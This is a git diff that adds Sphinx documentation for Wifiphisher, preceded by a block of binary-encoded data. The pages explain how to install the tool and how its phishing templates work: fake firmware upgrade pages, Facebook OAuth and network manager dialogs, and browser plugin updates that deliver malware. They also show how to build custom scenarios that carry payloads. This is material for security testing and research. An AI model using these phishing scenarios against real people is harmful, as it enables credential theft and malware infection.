z6eJmbyY}utQG6Rqgc~_WhV<}=Mm$ZjgewV!cgvK2IhaRyD2I82Og6an1V<CLp;K7T}sNm^KCK6@f#fhpRX_b<<*t#cY)5Tl@xw!6V8V>CwY619C z(UOa~R!=&x!4ssB`PyXTd@}U{V!Ee)I;flP+B7$O$nJJVDN>`ksR)8%FRT%OfZp!X zoUd!KvKit%_O%9Ev9$zYCN){mqg3Q`RojLnCCZjdP^dGBlT$i*N_DbVNl-YuLs#WS zEBHwZH?|Mavu``3kGa~AdR1|Fwnd*%b|ums2XO)L_8bJQ-+AQVxOor%K=&P0AfBgg zxrDhp%I^Uky#q2L->!!Bva>t&2y=UwkM)orjlo0vw7m1eKRm=+@;QHbhrjxuS{bdB z-Y1+TdHc*l&cT@V&_Mmzn)Z`1Lbt&#I?OF=3T8xr^aQ_+$w$a&lI|^XcO3qOl~YH2 zCsR#DW0%tK{6C8|k<5W7TD#CEz0zm%DQCLCoF##CTrz4mm|;YK;^Hs8IJecCKfddg zD2KB4Zlo1jL@R`vbsE}Jy-}t(RPD4z5Bma@lYdi9#Cv^612Ju%2-WfT(qpu5BTlx$ zLEjHP&!=zC95mmAg0L$NsZV{FEoYCG>S@vhpjN>>As0EjLbu#IYOKw>BLy z+30=8h5m`p{^`?jqFZ@GI}C~xx$HCjksx?JdUW+~zo)}A;@kd1G1 zTeJn*uUZ-k9A=kS-ZhQBV3bR;EnFZn2`B9!*GhngN_hlX*&%U|#dEJ*tZV@9-eJUi z`O1teVQ0>xM;9*1U@r?o8!yPhHPJQ2GlMffmMGD5Zr!_i@6PoScudnf1tLPs6!~!x zJHF;L2nH=5yQ~%DiGtjc+3Z`ndo{^)OdmvDL?yM|L`(X>7$%X};oM-b>FPEJX4Ceu z$GWUjLiX?fwEWbuPBF&@8lwRCG*IrigM#5Kqeng?jhNmDYfl7(UW@G`{_vV9HVZ`@ zk;D;y3+^S;02$~Kfn4|@0kM9n3X(CFGAlI0V6XuH#PzysYCEy^^PsVIFOBM+iqMVCDx|NMJp^G4u)n6%af>I343kVE;lt9Q9@#tWpiE|BF`~$_P=mVj zmJ?8&7w34eG=addfd(=5BS=06OUx)Q>RPKPl}3MA6r#u~`4Gz?54{xAOhY;mMVM67 zi2&-z8Wk)3%%ktA92%)p)CIV}kULWSYO*TCL>)s7NtG0nDzDUA;2^RRMU=0c+Mty& z?2@$%u4MNBqbx2TTegQD75xuV4YVCXGG8;eu>b-UTi{P>U(NPL0Hk<<3!8+hpg02C z#DoGuA0#%lFHBX5m(%uS5Y32^RA)~sIg*tBTLagOQqzVV*6qY=Q-t^^FFh*bg)aws zQ2~O+OKYWDsVl+-7f;wgpo}GED+-SgslhJfFdi3=l%XxtiI^+vqYXL#JHaLNgco(Fc}6CzGd83aCvO4&=)POgRQvL#@8(WiYbR-GE| zxI<+GY#!UiFN zHGm1$OW%Nnxc1@DMOUd)O-%QV3`Gg@p*=Kw7=yJuULb;xcF!nI5!PNn+q>ulQpBm> z^YG!1sj$Ki=o%DL=Q)V#sTWt2~}fjQm-9W#Fht=XxnZ)ao#UZz$zfjn_#0~nNxs&EHWNK9o7MSk#DRfG!6t|k79rmP01)&K zD==LOB&0V@b{b%6(M(JK{HkeC4I&^5cNovL=5(_h5R-kT_``JuXbek!?40P+!B!FR zL^di@n&)%_RQGVtwkh$ETN@N0iQvPhse^ca(5u%7@XJ^>t`1yiL)Nh7f^sg=X#bqe z1x$s_1HkbL>lzOYLen=;L?{AuoX=SOfQHIQtcDvR;Sd3{3_cZOot^Lyhs;Pml)jdR zHWbl{{3OtqmNJ7x%)vM1x;jha zpuhz)fG8>-_>`IPFbdRNBwEq)9H}a>e)D^evF>^uEg+VmI?8uLnm9_l){;`OrWdMhZrILR(Qz@*_l335E~Hy46pVpvKWjOKU6`O zPr{Sppa!}BHApCbtNz5zwovK;`D7#G17HPvIcG5gFA7+|wFr?q=CS<&62op(9*9r{ zKa^NZf9(VCxV@Y*7_-%tE>O3147_v?PzNd?)G8W4hmAafWRPG)AyS=%B4ptzQponG z{W2HWQphv;gEDD9s-_Kd8saz9C2wd^5PP1?U20lMaBF2TjDImzP{3PzwwWCt9yxW# z;rPc5aNQ@{!i>X8CRzsG%Ac=Jh!qi|hX5r+`Nt?O%)SuEmdr z(-i*+(&s+5=|z$6Z&yCyli!siXdXuXMSk)B9(}NACc`LrSLK%neeYix@vL=)=k-1& z%6okI-|yDqWz+udn_v8};eNJAulh*8(&dg4z5Ye|-%Z=UPZUC7P=M-M@AnSS(I#$} z;>Yi{@9wHk`dSFB(rMSo{-io|hurbOF3d3&);0)jpPau}& z2E{NvR%YBd?B;ZB3(@ew9?WB~4**rn2Yc}II-*i+sXj;o028iXgls+(LkS}>v>Ybt zKH>7B1rt$@S~k(VY^0#}Xr)M^cR zC3t$J4V+-BitG%V#x~+m8T4@Ocxz$2PMySz`d;Xqo&XeD3w#D^4-F9kanJVuLJKQ4 zPI}QFk{GG7N=o*^jU{JNbbw`U@{2x@M@!0rA&{e;a7-MH z%^+|rYKm^?xI$5O61v3k@hZV7?WJ-IMQLzqXvEQo0LTZlrzs@tsOqq7u8NE9N~ic> zZ34<_h^Pi6fTI+p))1&H(z3Z?h}Hl_2r1+Ph^Ol!5f^$RCXJ67X%aC1n-G4Ws*U7G z8GWh^IPle8Kzh~%TBb-bJS!QYB|4T%zKVh%e=ckmpvjERS9VJW*d`HD=6+tseRRw8 zmf|v*s&N!6Ov3Dh+Q2duWb}SYH4hQ57&0z5LJd^LG#>*m=chLfvy=wp2tYu3CbAEg z^8@xQ=5+8R4dAj?awb0qVgSZE15-Qs(nVx|H(!k)yodo$uB-rVzQ`*U)rAU`;+n{U z76%H9ipV7|&8V)CnF>lh#y|pqOai1OU35l})+bk|4hfZ# zvN(?r{bW)#<|>0$1vi(IXIgS7pDRNfZ(lm}IsIk`uWJ_%<|=(J{&d6F?4`n1)J})P zQVtZZPLn|K&vHNxcrbB48HGn-CF*RlsBRE0gmEtZU_XIMFgQo3J_|&Y?n~7yajptK zvo!UDkwDjLXt3ZTXOZRKGI8#R6#SRMEg)GSuocG_;yN zp}1VluOb4AxTt*?6}pyZ)c|gF+NGWB5&r5dzR+s9Hh?Vi02uY`2`n)}4Rk3c;Ytm3 zBmE$={G>0+lm?N~KKUdLN1>w-NJp(wE`wFl;sakO7GqIjJQ4IyW}+>%hA=|{$D$|A z&WUlxvngLw?nK3_}e%Xx?0g%`T8qhhYXT!2||DyOzNtiXm*zBV$M6 zLlG`*x6^cB0T%iLsxC5F(90hWQVIZJ`=XS*5Fu~>4eku3;8oxiW&$3X?xa^X*0?&PMxz-75)Q^eVB#6H$RGn%8iD zF&Vp0GdXH%X-+9TQ~FTw6i(2!nvxBbZyIq?)uh*0?Ie|05Q>hG{cO;E>n{5WFcP5m z2alIdNkh{9CPnR+V)a%N{n7!`_kY3f7P&Tn4S4+6(BpW}J|;I|$?pVRFbY`#5BYHZ z8nS&Wj~qWisT42t)X#P^m=JT&B=J`n`;xK$`1edUs4g2(h3(gW3;2K`uzO*mhHbck z0k~5Lo5g15-7z86Y4=q@akl2VJcw5+4gr9f-LwE)+)>r8e85gB(M+yd8 zn1n410}SJZweyB`SQWRICR%P8g?NlHj)$jV8@_=Vq>vJZk$XAiKVhc0@7R|I6Zw7@@n7Ebc%_(4Y;Om1$$_&oi~&=C)A;xVqZ_(`D!hRi z$e|hBU>dyP9KL}XHu(_j*p1gA8l1r#T*8#EA(e3$e8V?8Y9tRf^-zM?kA0bm2U(cm zuT2UWTP!R$pcoJXFr>Whk{hs%sMv-7Cia=R5h|F@7FI4X{p?VVuo58mvJZtN|*Rff=ZQ8s2#? z%sHOpS~WEKw#n6r^11-t;SbP(f@?=V+rSiLpa{^$pYwRI_m1CYiC3Q+!Y+9RGnikJ z=CK0pb8z}_#3yQKp^Ls&rNj@=%BBSfG@Z( z$@MslNs4$O{L1|fH%f?v)$~^vUG1KFw_y$&xWSvl0k*fn#kGN|X~LV&nyk&ijUPm} zWt$t~JH*SO#%;m7*FmIB*}jFGc{tQtAHaWR(a3TQMu-_>A0$htl$l~`?8;s-Bqiz+ zDWz*HHPNUnDq|;;7`v$7JLBH>zW1N^eg8Y>`#tCTJZJg* zbDr~jcI><%!mR9B8ZDcG`owbn&?vikBmY5UW>iE+1+f|4*SV+gx}|*=(y+}zF&(72 ztGI67Tzg2za`Wa!EYG@Du<>;K#e(NRpTl>$`RBBTu?eRJDohRVj{f{)e0@5zrlI;$7^>_yu1w1Am(4*>w&zieoTpy+{BrImFWefztv`8ZWqh>%bT4|E6-@(;M{!gA z)???x*ZL<#FyG+Ztd{;6w`H}YdJkDj&(K~^74lTE(=5{Bn;tjCh&*S`^|KuCyPq;Q zr8mEyF%Q-^+fgD9kQY42cgN`qWV{$ke$iu_!@~K+5JvYg%o4O>@jL^Y+P8$+ryIvu zJWa_>z^rIWJ-_i|${SoxqpajJ45{Srm9on$e324JD`l)+L7S?LTRE|qZrr)xo5zFC zB5KG#y5CiA9bRNJESGMqJ=F{&ME{t^dwLYN_MRKSp%(7@lKzke`FLi^87NMI7+|!l zC@Sna6&sZ1D0wheXD}dTXQY@SkbT8>Q+P$id^ z66;4~%&*>pDNBJa=;@gT?UXYq4%=4-RTcQ)(oZQ+P}WKi$AJ8X>S-jn6()#$<*&yT zbEtwWA3stFT_5&yY!xkRD6T<-am+x-&$0j0;I95T#ZE&N0I(}CxEvrNRJ}$BRIgU+ zs#hpNnN-GXibu%m{&&^u@%d+lS2$@pE+t1=|5m*s6PxU|pMe?L{8RNBn=Lc>>B6JC z-FKXYs@I4DEf(a0`{%z@ug0|(O|)Ig1G`JS+n#LU6m8hFCCsjp{rPF+^VB4ZrBnS4 zF;H=|{krN^)}rUG+q&x2<2B0T;b_|}6HtSeTt3#$w4yEQyq}xsE_R{438=Uy*&|TB zp0iivef?M!&g&PbUPCe;P{c8gwI^qWIB9z1H?`Gs;~j-|49B{f1%c`{nER$qsCsRo zff%Ry+7&^mQgVBJ-RjcJa2vy^q5j9}@*I!b-p~MofT)f@^(r4YAb5c&{#*4*^2X8i zli_+GQ^!! zL?41@5Jp@}z8q?lD0+RHNhO}hg&CPh((-THqL{}XmQ0p9S4+Np$)Gd`1>dV2+vrMI zzabj|2%zr)+yPL4ir|I}0C0p{qpxa{r#eCh28?DjU4@({cqPXdJQuM-o85bs(wgp+ z{A(xD3yy3tP}nWn1+`)&W*9oqy<$34+kV%!l(<$MuBEI1^=_)koD*}(+_n&?5k$Y^ z#I&QKe^a8vI=4FbAG{yrR?=N`pe_g=T#;xk@8$RF^@MK!LxrxqGE+VG(+6$xW+B;K zs43Tn;qCRrAR^8~Jc7*LT^zPw-twmUhQN>f$zD1RYwVM9H$LE(Q`!RulBS8V&O&-AN&)eeeO_TkD?Tt?K#G0C;?KNoE*#Nt1Tt_B2HMEVM`fDhSl zoUwVf(onG?lbJM{AQQBs$>^w6(nSf;ha=_r$;ndcw!4;}73F2FNtqa=4BoKccp%kF+1$Y6+fZ%n=RsIQiC=(7tL>ZnWl@~mxDVPL(;+*lj ziqhuDZR;p6YNgr2e4I^ZV+a`Cg`6Cl?m?*yqM{RzcEp@`&CqO+-X)V*Y|A9Y&t|op z^(>EVx@PlR)}xYUmUE%}?y)xJ1GamM@kmyBY59Y|!fW2NurF^-PYr9G8gOBMriwsR z?uB|70I>{q>et{(?ZK8Pq{5y{A0&rgL}D?HguSzU`o%DfC(35w&9*sKG@;M=ivaRc zpVu{yc|xCap2O28Q~!p1n%fvJguIGB{J$Z;M$w0yu!l`_2P+tq5XEyWKAGT(STfoJ zSm+m#R($09CG)<9?PNqY=(KLR~ zMu6P|WIO3gdLV#+CSB-BTYkF_2c4?(b2Fj56Xfe0i*H9|B*2@w-e2?D&CfKp^H zf_V4o-0lIP*N{zg;U&7TbU2eLTbySVU<)Wp8I2Y(i3Rd!%ex2|y-a{qO$$orpid}C z@H#N`faK~Xr#q~K0#p!Lz=reKs6uI}0wujn09_V9Vj-u7v-oBokOPvA33?f=1fT&( z8NxZbm}O#8FNbU{4Ily}x`aem7VH6#^koE~joGSVnIs)tU|})BmaiH>l-!_?_Cz;*TUr%3*};hRl$#NEFV179j{J&P6*Ijw+-L*=`R@0!%lC ze#H3gXOa>UR;DRWO>H+Q+XINVPe>(u5p%FjZF32nokPo06lTL6w$JNFew`!TSRDkD zZnLB$7+oX?&Qh8VcMBj&?{JE;8Aa$?N1E}ulzAkaB`PdaT8i2@e}nJrGIV59U=m;r z7(oMzB_s?3g1O3uOk7-oali~`v2=my2NLVBMt~622@2yg2(m?e+9DtwLpjtt(uPI} zszr!SQZiVD=;CIMDAx z-i>Jg2K`R+kOZ&@PowsEqPay%CEIk~xzQnDpfy`mfEUS+FKsYTX%i3uk|Q2IM_jh8 zO^*~ihAq!fn7zneJ4STxOAw`RK{*U`wUN0yljADCLJ=holn@PKrz#3~C_X|8)hr^p zny^=1>t*H@U>db2C`?Q?iTsrGKn6c~5GB{*dljo^DUQ!=z1e3u)hQA51~2?GUCqL&NX|e zp2F8hS)8aejLIY{qS>DOvu(<`4M1}J9-2CW(2N-d)g_|n4CTp618q=p z!^0rQolt@nrXz|oVLgwrQ<%~P7U#nan5x#MD>KrKVE|-5Fzgr_HoYzgP<;wxpJMrZ zqmqe|9UeqXtMZVd_B4fwg*KSd3J?L$hxEV^kj@shrdjgm&o*JM(lPQnRIXXKUL|sZ zC_0I)lqt{d?AmK0Czy=E_Xojy70|biNh>1yEtbb;8wxc$)P;D5TPjRc{wbvkh4o54 z(h}M1@BzdOG?}abGvvq4AqLd0PO@?%eZcEL`dWN`0qiM~_5^d2mP@(*5YO2~dBekC zZUhEfm{URRV}ykls4QHZ&?=dsE{u1m>E{*2R-U6YUEUlZxsf49ZEa#3&tqrKQ!Y1( zL|y?LcLh9cYzpjSNHj)%s=RR^>O$s?M_|oNn~)pn0bU7mq={)2V2qT0huLwvWIG8`bLmjn*eD+Pm>@2 z{sx2>e@|w>NBm^m=pY`J4#e~VX^i!-Qo+a)s&gm-*bub=mBk8CNjG%9?C2qc*Se~3 zBj2(}6n=%$WN9r^4s>GlNRx93=py;?7n{wcF(7`okjV5S-YBxl+!ze=EG?Xd<<$az zS(h-~c{^~ubIun#>>1GiB|kpVS}=9mpBc*FnOjkA01g8Cfqkx4kZfQIs~WNd%mGut zIPg5m6BNcztsK`fKTs0=X_CpCL0-||Kmm%N-zGnP0WlJrY&ZAxXeS=cK=HtyAwO}U z(f?cfkdEO_thvS=A&3-MKKI<}&j^?`^xD4ZZacA_Qlv11(sxgFrrK{kcjOa z;+Rzdz5;xc%Hop*%Zhk{MvWbRZm_WT~`Jy1)sF2$mV z=Rki6Ao+2@l<-3>C@KvBwg_CHyiD6CDWM_-1}heW3+%+6vfZB;}!R+p=> zXY{5zvr>Oh0QMW?C#Khazq7NM9v_pv3HXrn3qhNe+p>EFj)AuB7|#_alg=TVHcK;E zkbi;bGvv?DHgYKeLF4G!G6p1<0!G z`x-EJHn`XlYQITgVs^#ZUBrsaa1J9M1nyi%V7?RVOThmDPXm*n3s~}qmQW2ao?_Jl zO=3*eW#E0lkvNRyxcjd1I_DY(K1+W5k;beRkc^P&xdY_-1}1t6Tl^-)xo}OjqRo2N z<^ahI_h8H~H7q4a^fi{xPc^UdjvPby#5!vW?tS?V=x5^)dkdwL#J(iS)SH1{ca>UM zMrZh?VCgx6r7x1~e8#cipfhicl;SwX zyM|=P69mhR${j)`c?Rq4uWNr@ajfa?(^M7HW-xx>BlIQg-YP2zhc zH}Zbq7n_zP;-<8Zq4rSqNpuzw5%Ob?ulX*iG2Aa+2?91=V&6ZW%Guu+0dq z+Hmokz&jf-It_f4{P=@xXSe6JIrUa2ksgn1_90la%4mSon1&L<6H6MGr%!m*(Gn!0_QNY3|b=I z2~`2|z&tSP%%o4eRC_5gzy!DrC__k*f~G|q6$*g3XRQhkY1(AI5y~on{{#WA+nUf$>fRA8MtusfppLH+sViSd_GiL@B6Ej8J`y^Zl8=%oI zaN*gxmNGC2uz`Y+P2L$|Ly5_5y4Q)~`@iK%=Zhe7h$KK`hh1aADp0B>D*m6S2kMw2 zRTepRsE3H>WN(2C;(fTT#M6Yefm7U_2V?gDA_D!#GAmiK%*6i2I-yrJyk@5AO_T%3 zt^lOsz>(O@iTH>Zth(a`;svfd8NA^@ZL`j{JJF4g-2sRyh}R3;5^JN*pfxr)fvaD0 z)>UwH6)OyC>R2IO4GhJ@R(%VetKr2$Q+d-avJ$(-WGO0lJI!BqrTAEYT4P1sOJg%6 zHCFhj_^Vh^HBnVoh%;Mj_qyLq&yiho6Q133Hz475XWJL4ZrZ6jX|3fJ2E`z1Vj+uj z+Ek+|<5&^rB$ld~lNQQ%5HFbm3VVR89>-!pq=IUFqPG%7Q5Qvtcq!i?&urQMEjz8c{iaQDs+q3YT@C-=O47Y-->A zG2xH?+H8kI-)#&r)!?`0$VI%kTv7{L%}TUY%QXaXY*Lr6$c7T$&E;X%Du4HEnrvr^ z558gXYGlZw6HlgAi?S+ptT1tIAuAzoeH5kmn*f8jR<^+;qi-L4?o1b5eS^Gxbb-0? ztHg&?o6i6$<>wK3HE0J&%nsuTMl6WN9lmNELrfhj>N50ADcBsU>)(l?e-ti^DW7~I z&AtP-LNvy`17|>l!qOECNIeKq2>*Dhlfi@6@o%5ZGdBaCNfT5&mgb6_d%-gHVh7fG zaW-A6PDZF}KHD5C>c=>`PJbuFV0>X>2tR!X}7eIAJ;We1X%?SwuV%3EAQ${5{i8 z{pA`tWICYewp=`X;Wmu-YSiYrci(5*@IAWw0Ew9pPwwFhM={>Vi5IK-+6YA(msb!_ z8&N8RGRxwXn{;l zC>GX}`7Q!v1qgU(@>=}lhk>^fFRd0>X^>V{O6S!E=?o&Nl}pm~&y`44ck5c5u;hoEvFzp;OUV?QUH{K1aa zv380f%18dm=f*d`4;V!CNz|S~^#W12h=xUiAVjU=Cw%-=3Nbm1=_IK1@%STmvj6ZP zy@S`%z3)2GxufxR8{2$aq4B_YAv5DerpJq%ef|O`e`tB>nOVkPOcRDa#>lGLnOcv5 z(fj$-qY+DsuR*v2a8 zy6as?s^sb=>mv_ptxa8xS+#?yuN7q7qZR*GRr#Nu!=ja`tW8r+6_q?jS2`2xH0Rjry6sg2*?tWRVFEA)8Q7I(up;A_F z0;;=b77_3ykSCcED&-xV|J4PE^Cw+N;3y))Y;6OmhsXkIpQN-{yfg}R^#QVSafyy$ zjCZ|TAK&PRu=X64r5Co)47~?P15grp-XO{VLa)nRq6Vf(P!wSfm_c-k;^uZU?E%u3 z@kt3{1(WH-$je;jFNn;bx=6$Vg!5>mgeARf3UtL37q>d1vVtfqE|Bgj*B-AEMiT@} zliQF(T-I@gK7&fZPmAl@ERAe+B^|t^^Co72~UEu7Ys|Kc!71ZoaOK#2z4* zf2{aGE6F`TE~}+huv&LZBxMhf%k4XbV$G4OPVWJ7IY&^mDAjh45>Yg@$&EC7fNW=0 z;(nI#O=b5!XY6MM5L07><(4qwDj2&Hkm@~BKwEF7soPfYKSlNc*|`WxN%szr>FI8{ znI`Vvjc-!iW)!do$YzJNIaF^U(V1v5dugj&k?HOx+cUJW_2fN3E;3s-0i^Kc+NRoF zy#YZphKL7#%0sycmDHZe+7ck1dp@olBGEapR=b5-_kwA%ny3+Y8P^?YgFQgDnu*6F z#P^Po$fegfesS{`S=*VA==Ml=A4fEPdYo$cN&v*)#i|mb2qF`dmY!MD4Prb2O~yNx z?OH&D1R^CD6c{4HJ%((_sq3;Ui42kH>UC4q+RIO85b1THak|dA$FIslk>dQxntw?I zR|G?L?-K59*Td6OceB#IQ@JRb@>zKth7xc1Sp>=;?!N9iN_^v(GUes}Mx#p+W$D!k z2q>9-U1)eCE05BvpRW?{ekv2+{lPT2p7=RdMxLj*aPAUCy;mzB?pA?*r;jfgltk>r zO}z6qv>|F23G-#rJ^d(sh`NV v documentation" by default. +html_title = u'Wifiphisher Documentation' + +# A shorter title for the navigation bar. Default is the same as html_title. +#html_short_title = None + +# The name of an image file (relative to this directory) to place at the top +# of the sidebar. +html_logo = "_static/wifiphisher_logo.png" + +# The name of an image file (relative to this directory) to use as a favicon of +# the docs. This file should be a Windows icon file (.ico) being 16x16 or 32x32 +# pixels large. +#html_favicon = None + +# Add any paths that contain custom static files (such as style sheets) here, +# relative to this directory. They are copied after the builtin static files, +# so a file named "default.css" will overwrite the builtin "default.css". +html_static_path = ['_static'] + +# Add any extra paths that contain custom files (such as robots.txt or +# .htaccess) here, relative to this directory. These files are copied +# directly to the root of the documentation. +#html_extra_path = [] + +# If not None, a 'Last updated on:' timestamp is inserted at every page +# bottom, using the given strftime format. +# The empty string is equivalent to '%b %d, %Y'. +#html_last_updated_fmt = None + +# If true, SmartyPants will be used to convert quotes and dashes to +# typographically correct entities. +#html_use_smartypants = True + +# Custom sidebar templates, maps document names to template names. +#html_sidebars = {} + +# Additional templates that should be rendered to pages, maps page names to +# template names. +#html_additional_pages = {} + +# If false, no module index is generated. +#html_domain_indices = True + +# If false, no index is generated. +#html_use_index = True + +# If true, the index is split into individual pages for each letter. +#html_split_index = False + +# If true, links to the reST sources are added to the pages. +#html_show_sourcelink = True + +# If true, "Created using Sphinx" is shown in the HTML footer. Default is True. +#html_show_sphinx = True + +# If true, "(C) Copyright ..." is shown in the HTML footer. Default is True. +#html_show_copyright = True + +# If true, an OpenSearch description file will be output, and all pages will +# contain a tag referring to it. The value of this option must be the +# base URL from which the finished HTML is served. +#html_use_opensearch = '' + +# This is the file name suffix for HTML files (e.g. ".xhtml"). +#html_file_suffix = None + +# Language to be used for generating the HTML full-text search index. +# Sphinx supports the following languages: +# 'da', 'de', 'en', 'es', 'fi', 'fr', 'hu', 'it', 'ja' +# 'nl', 'no', 'pt', 'ro', 'ru', 'sv', 'tr', 'zh' +#html_search_language = 'en' + +# A dictionary with options for the search language support, empty by default. +# 'ja' uses this config value. +# 'zh' user can custom change `jieba` dictionary path. +#html_search_options = {'type': 'default'} + +# The name of a javascript file (relative to the configuration directory) that +# implements a search results scorer. If empty, the default will be used. +#html_search_scorer = 'scorer.js' + +# Output file base name for HTML help builder. +htmlhelp_basename = 'Wifiphisherdoc' + +# -- Options for LaTeX output --------------------------------------------- + +latex_elements = { +# The paper size ('letterpaper' or 'a4paper'). +#'papersize': 'letterpaper', + +# The font size ('10pt', '11pt' or '12pt'). +#'pointsize': '10pt', + +# Additional stuff for the LaTeX preamble. +#'preamble': '', + +# Latex figure (float) alignment +#'figure_align': 'htbp', +} + +# Grouping the document tree into LaTeX files. List of tuples +# (source start file, target name, title, +# author, documentclass [howto, manual, or own class]). +latex_documents = [ + (master_doc, 'Wifiphisher.tex', u'Wifiphisher Documentation', + u'George Chatzisofroniou', 'manual'), +] + +# The name of an image file (relative to this directory) to place at the top of +# the title page. +#latex_logo = None + +# For "manual" documents, if this is true, then toplevel headings are parts, +# not chapters. +#latex_use_parts = False + +# If true, show page references after internal links. +#latex_show_pagerefs = False + +# If true, show URL addresses after external links. +#latex_show_urls = False + +# Documents to append as an appendix to all manuals. +#latex_appendices = [] + +# If false, no module index is generated. +#latex_domain_indices = True + + +# -- Options for manual page output --------------------------------------- + +# One entry per manual page. List of tuples +# (source start file, name, description, authors, manual section). +man_pages = [ + (master_doc, 'wifiphisher', u'Wifiphisher Documentation', + [author], 1) +] + +# If true, show URL addresses after external links. +#man_show_urls = False + + +# -- Options for Texinfo output ------------------------------------------- + +# Grouping the document tree into Texinfo files. List of tuples +# (source start file, target name, title, author, +# dir menu entry, description, category) +texinfo_documents = [ + (master_doc, 'Wifiphisher', u'Wifiphisher Documentation', + author, 'Wifiphisher', 'One line description of project.', + 'Miscellaneous'), +] + +# Documents to append as an appendix to all manuals. +#texinfo_appendices = [] + +# If false, no module index is generated. +#texinfo_domain_indices = True + +# How to display URL addresses: 'footnote', 'no', or 'inline'. +#texinfo_show_urls = 'footnote' + +# If true, do not generate a @detailmenu in the "Top" node's menu. +#texinfo_no_detailmenu = False diff --git a/docs/faq.rst b/docs/faq.rst new file mode 100644 index 0000000..824c615 --- /dev/null +++ b/docs/faq.rst @@ -0,0 +1,28 @@ +Frequently Asked Questions +=========================== + +----------------------------------------------------------- +How to check wireless card compatibility with wifiphisher? +----------------------------------------------------------- + +------------------------------------------- +What are some effective wireless adapters? +------------------------------------------- ++-------------+------------+-----------------+ +| Name | AP Support | Monitor Support | ++=============+============+=================+ +|*TP-LINK* | |check| | |check| + +| TL-WN722N | | + ++-------------+------------+-----------------+ ++-------------+------------+-----------------+ ++-------------+------------+-----------------+ ++-------------+------------+-----------------+ ++-------------+------------+-----------------+ ++-------------+------------+-----------------+ ++-------------+------------+-----------------+ ++-------------+------------+-----------------+ ++-------------+------------+-----------------+ + + + +.. |check| unicode:: U+2713 diff --git a/docs/getting_started.rst b/docs/getting_started.rst new file mode 100644 index 0000000..4ad9acb --- /dev/null +++ b/docs/getting_started.rst @@ -0,0 +1,78 @@ +=============== +Getting Started +=============== +------------------- +What is Wifiphisher +------------------- +Wifiphisher is a security tool that mounts automated victim-customized phishing attacks against +WiFi clients in order to obtain credentials or infect the victims with malwares. It is primarily +a social engineering attack that unlike other methods it does not include any brute forcing. It +is an easy way for obtaining credentials from captive portals and third party login pages +(e.g. in social networks) or WPA/WPA2 passwords. + +---------------------- +How to get Wifiphisher +---------------------- +There are three ways to obtain Wifiphisher + +^^^^^^^^^^^^ +Using Pip +^^^^^^^^^^^^ + +This method is the simplest and easiest way to obtain Wifiphisher. All you have to do is Simply +run the following command in the terminal + +.. code:: bash + + [sudo] pip install --upgrade wifiphisher + +.. image:: _static/getting_started/install_pip.gif + +.. note:: + Using this method is recommended + +.. warning:: + ``pip`` must be installed on your system. + +.. seealso:: + pip_ and ``pip --help`` for more information. + +.. _pip: https://pypi.python.org/pypi/pip/ + +^^^^^^^^^^^^ +Using git +^^^^^^^^^^^^ +This method involves using the ``git clone`` command. Simply run the following command from the +terminal + +.. code:: bash + + git clone https://github.com/wifiphisher/wifiphisher.git + +.. image:: _static/getting_started/install_git.gif + +.. warning:: + ``git`` must be installed on your system. + +.. seealso:: + Git_ and ``git clone --help`` for more information. + +.. _Git: https://git-scm.com/ + +^^^^^^^^^^^^^^^^^^^^^^^ +Using browser +^^^^^^^^^^^^^^^^^^^^^^^ +This method involves downloading all the files using a browser. + + #. Visit the projects page on Github_ |page| + #. Press the ``clone or download`` button |download| + #. Click the ``Download ZIP`` button |zip| + + .. |page| image:: _static/getting_started/install_browser_page.gif + :scale: 60 % + .. |download| image:: _static/getting_started/install_browser_download.gif + :scale: 60 % + .. |zip| image:: _static/getting_started/install_browser_zip.gif + :scale: 50 % + +.. _Github: https://github.com/wifiphisher/wifiphisher diff --git a/docs/index.rst b/docs/index.rst new file mode 100644 index 0000000..098e59f --- /dev/null +++ b/docs/index.rst @@ -0,0 +1,29 @@ +.. Wifiphisher documentation master file, created by + sphinx-quickstart on Wed Mar 15 18:38:21 2017. + You can adapt this file completely to your liking, but it should at least + contain the root `toctree` directive. + +Welcome to Wifiphisher's documentation! +======================================= + +Table Of Contents +------------------- + +.. toctree:: + :maxdepth: 2 + + getting_started.rst + users_guide.rst + api.rst + faq.rst + phishing_scenarios.rst + modules.rst + + + +Indices and tables +================== + +* :ref:`genindex` +* :ref:`modindex` +* :ref:`search` diff --git a/docs/modules.rst b/docs/modules.rst new file mode 100644 index 0000000..576d21c --- /dev/null +++ b/docs/modules.rst @@ -0,0 +1,12 @@ +Module Documentaion +=================== + +Interfaces Module +------------------ +.. automodule:: wifiphisher.common.interfaces + :members: + +Firewall Module +---------------- +.. automodule:: wifiphisher.common.firewall + :members: diff --git a/docs/phishing_scenarios.rst b/docs/phishing_scenarios.rst new file mode 100644 index 0000000..b5e84aa --- /dev/null +++ b/docs/phishing_scenarios.rst @@ -0,0 +1,123 @@ +Phishing Scenarios +=================== + +Templates +----------- + +Wifiphisher supports community-built templates for different phishing scenarios. +Currently, the following phishing scenarios are in place + + +Firmware Upgrade Page +^^^^^^^^^^^^^^^^^^^^^^^ +A router configuration page without logos or brands asking for WPA/WPA2 password due to a +firmware upgrade. + +OAuth Login Page +^^^^^^^^^^^^^^^^^^^^ +A free Wi-Fi Service asking for Facebook credentials to authenticate using OAuth. + +.. warning:: + The template is **not** mobile friendly. + + +Browser Plugin Update +^^^^^^^^^^^^^^^^^^^^^^^ +A generic browser plugin update page that can be used to serve payloads to the victims. + +.. warning:: + The template is **not** mobile friendly. + +.. note:: + The template support payloads. + +Network Manager Connect +^^^^^^^^^^^^^^^^^^^^^^^^^ +Imitates the behaviour of the network manager. This template shows Chrome's "Connection Failed" +page and displays a network manager window through the page asking for the pre-shared key. +Currently, the network managers of Windows and MAC OS are supported. + + +.. warning:: + The template is **not** mobile friendly. Also this template only imitates Windows or MAC OS. + +Creating a custom phishing scenario +------------------------------------ +For specific target-oriented attacks, custom scenarios may be necessary. +Creating a phishing scenario is easy and consists of two steps + +Create the ``config.ini`` +^^^^^^^^^^^^^^^^^^^^^^^^^^^ +A config.ini file lies in template's root directory and its contents can be divided into two +sections + +1. Info: This section defines the scenario's characteristics. + + * **Name** (mandatory): The name of the phishing scenario + * **Description** (mandatory): A quick description (<50 words) of the scenario + * **PayloadPath** (optional): If the phishing scenario pushes malwares to victims, users can + insert the absolute path of the malicious executable here + +2. Context: This section is optional and holds user-defined variables that may be later injected +to the template. + +Here's an example of a config.ini file + +.. code-block:: text + + # This is a comment + [info] + Name: ISP warning page + Description: A warning page from victim's ISP asking for DSL credentials + + [context] + victim_name: John Phisher + victim_ISP: Interwebz + + +Create the template files +^^^^^^^^^^^^^^^^^^^^^^^^^^ +A template contains the static parts of the desired HTML output and may consist of several static +``HTML`` files, images, 